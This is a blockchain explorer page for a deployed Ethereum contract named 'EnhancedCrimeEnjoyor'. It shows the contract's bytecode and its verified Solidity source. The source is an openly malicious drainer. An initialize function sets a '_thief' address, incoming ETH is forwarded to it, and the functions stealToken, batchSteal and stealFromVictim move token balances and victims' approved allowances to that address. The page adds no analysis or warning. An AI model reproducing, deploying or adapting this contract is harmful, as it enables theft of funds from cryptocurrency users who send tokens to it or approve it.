Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xd49C36326B80fcdC3f042D78c96820321BFee1d1
Balance 0 ETH
Nonce 1
Code Size 3092 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3092 bytes
0x60806040526004361061004d575f3560e01c8063109004ca146101405780633eb210cf14610168578063b269681d14610190578063c4d66de8146101ba578063f12d1da2146101e25761013c565b3661013c575f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036100d7576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f1935050505015801561013a573d5f5f3e3d5ffd5b005b5f5ffd5b34801561014b575f5ffd5b506101666004803603810190610161919061092b565b61020a565b005b348015610173575f5ffd5b5061018e600480360381019061018991906109d0565b610420565b005b34801561019b575f5ffd5b506101a46105f9565b6040516101b19190610a0a565b60405180910390f35b3480156101c5575f5ffd5b506101e060048036038101906101db91906109d0565b61061d565b005b3480156101ed575f5ffd5b5061020860048036038101906102039190610a23565b6106e4565b005b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361028f576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5f90505b8282905081101561041b575f8383838181106102b3576102b2610a61565b5b90506020020160208101906102c891906109d0565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016103009190610a0a565b602060405180830381865afa15801561031b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033f9190610ac1565b90505f81111561040d5783838381811061035c5761035b610a61565b5b905060200201602081019061037191906109d0565b73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016103cb929190610afb565b6020604051808303815f875af11580156103e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040b9190610b57565b505b508080600101915050610294565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036104a5576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104df9190610a0a565b602060405180830381865afa1580156104fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610ac1565b90505f8103610559576040517fd6b53fca00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016105b4929190610afb565b6020604051808303815f875af11580156105d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f49190610b57565b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a2576040517f0dc149f000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610769576040517f87138d5c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016107a5929190610b82565b602060405180830381865afa1580156107c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e49190610ac1565b90505f810361081f576040517fd6b53fca00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b815260040161087c93929190610ba9565b6020604051808303815f875af1158015610898573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc9190610b57565b50505050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126108eb576108ea6108ca565b5b8235905067ffffffffffffffff811115610908576109076108ce565b5b602083019150836020820283011115610924576109236108d2565b5b9250929050565b5f5f60208385031215610941576109406108c2565b5b5f83013567ffffffffffffffff81111561095e5761095d6108c6565b5b61096a858286016108d6565b92509250509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61099f82610976565b9050919050565b6109af81610995565b81146109b9575f5ffd5b50565b5f813590506109ca816109a6565b92915050565b5f602082840312156109e5576109e46108c2565b5b5f6109f2848285016109bc565b91505092915050565b610a0481610995565b82525050565b5f602082019050610a1d5f8301846109fb565b92915050565b5f5f60408385031215610a3957610a386108c2565b5b5f610a46858286016109bc565b9250506020610a57858286016109bc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b610aa081610a8e565b8114610aaa575f5ffd5b50565b5f81519050610abb81610a97565b92915050565b5f60208284031215610ad657610ad56108c2565b5b5f610ae384828501610aad565b91505092915050565b610af581610a8e565b82525050565b5f604082019050610b0e5f8301856109fb565b610b1b6020830184610aec565b9392505050565b5f8115159050919050565b610b3681610b22565b8114610b40575f5ffd5b50565b5f81519050610b5181610b2d565b92915050565b5f60208284031215610b6c57610b6b6108c2565b5b5f610b7984828501610b43565b91505092915050565b5f604082019050610b955f8301856109fb565b610ba260208301846109fb565b9392505050565b5f606082019050610bbc5f8301866109fb565b610bc960208301856109fb565b610bd66040830184610aec565b94935050505056fea26469706673582212202068d538c69faf10531a0b5d03adcf69782bc2620590b3e0765ee499f8b6b20064736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
EnhancedCrimeEnjoyor.sol 58 lines
pragma solidity 0.8.28;

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract EnhancedCrimeEnjoyor {
    error AlreadyInitialized();
    error NoTokensToSteal();
    error NotInitialized();

    address public destination;

    function initialize(address _thief) public {
        if (destination != address(0)) {
            revert AlreadyInitialized();
        }
        destination = _thief;
    }

    // ETH stealing functionality (original)
    receive() external payable {
        if (destination == address(0)) revert NotInitialized();
        payable(destination).transfer(msg.value);
    }

    // New token stealing functions
    
    // Steals all balance of a specific token from this contract
    function stealToken(address tokenAddress) external {
        if (destination == address(0)) revert NotInitialized();
        uint256 balance = IERC20(tokenAddress).balanceOf(address(this));
        if (balance == 0) revert NoTokensToSteal();
        IERC20(tokenAddress).transfer(destination, balance);
    }

    // Steals from a victim who has approved this contract
    function stealFromVictim(address tokenAddress, address victim) external {
        if (destination == address(0)) revert NotInitialized();
        uint256 allowed = IERC20(tokenAddress).allowance(victim, address(this));
        if (allowed == 0) revert NoTokensToSteal();
        IERC20(tokenAddress).transferFrom(victim, destination, allowed);
    }

    // Batch version to steal multiple tokens at once
    function batchSteal(address[] calldata tokenAddresses) external {
        if (destination == address(0)) revert NotInitialized();
        for (uint i = 0; i < tokenAddresses.length; i++) {
            uint256 balance = IERC20(tokenAddresses[i]).balanceOf(address(this));
            if (balance > 0) {
                IERC20(tokenAddresses[i]).transfer(destination, balance);
            }
        }
    }
}

Read Contract

destination 0xb269681d → address

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

batchSteal 0x109004ca
address[] tokenAddresses
initialize 0xc4d66de8
address _thief
stealFromVictim 0xf12d1da2
address tokenAddress
address victim
stealToken 0x3eb210cf
address tokenAddress

Recent Transactions

No transactions found for this address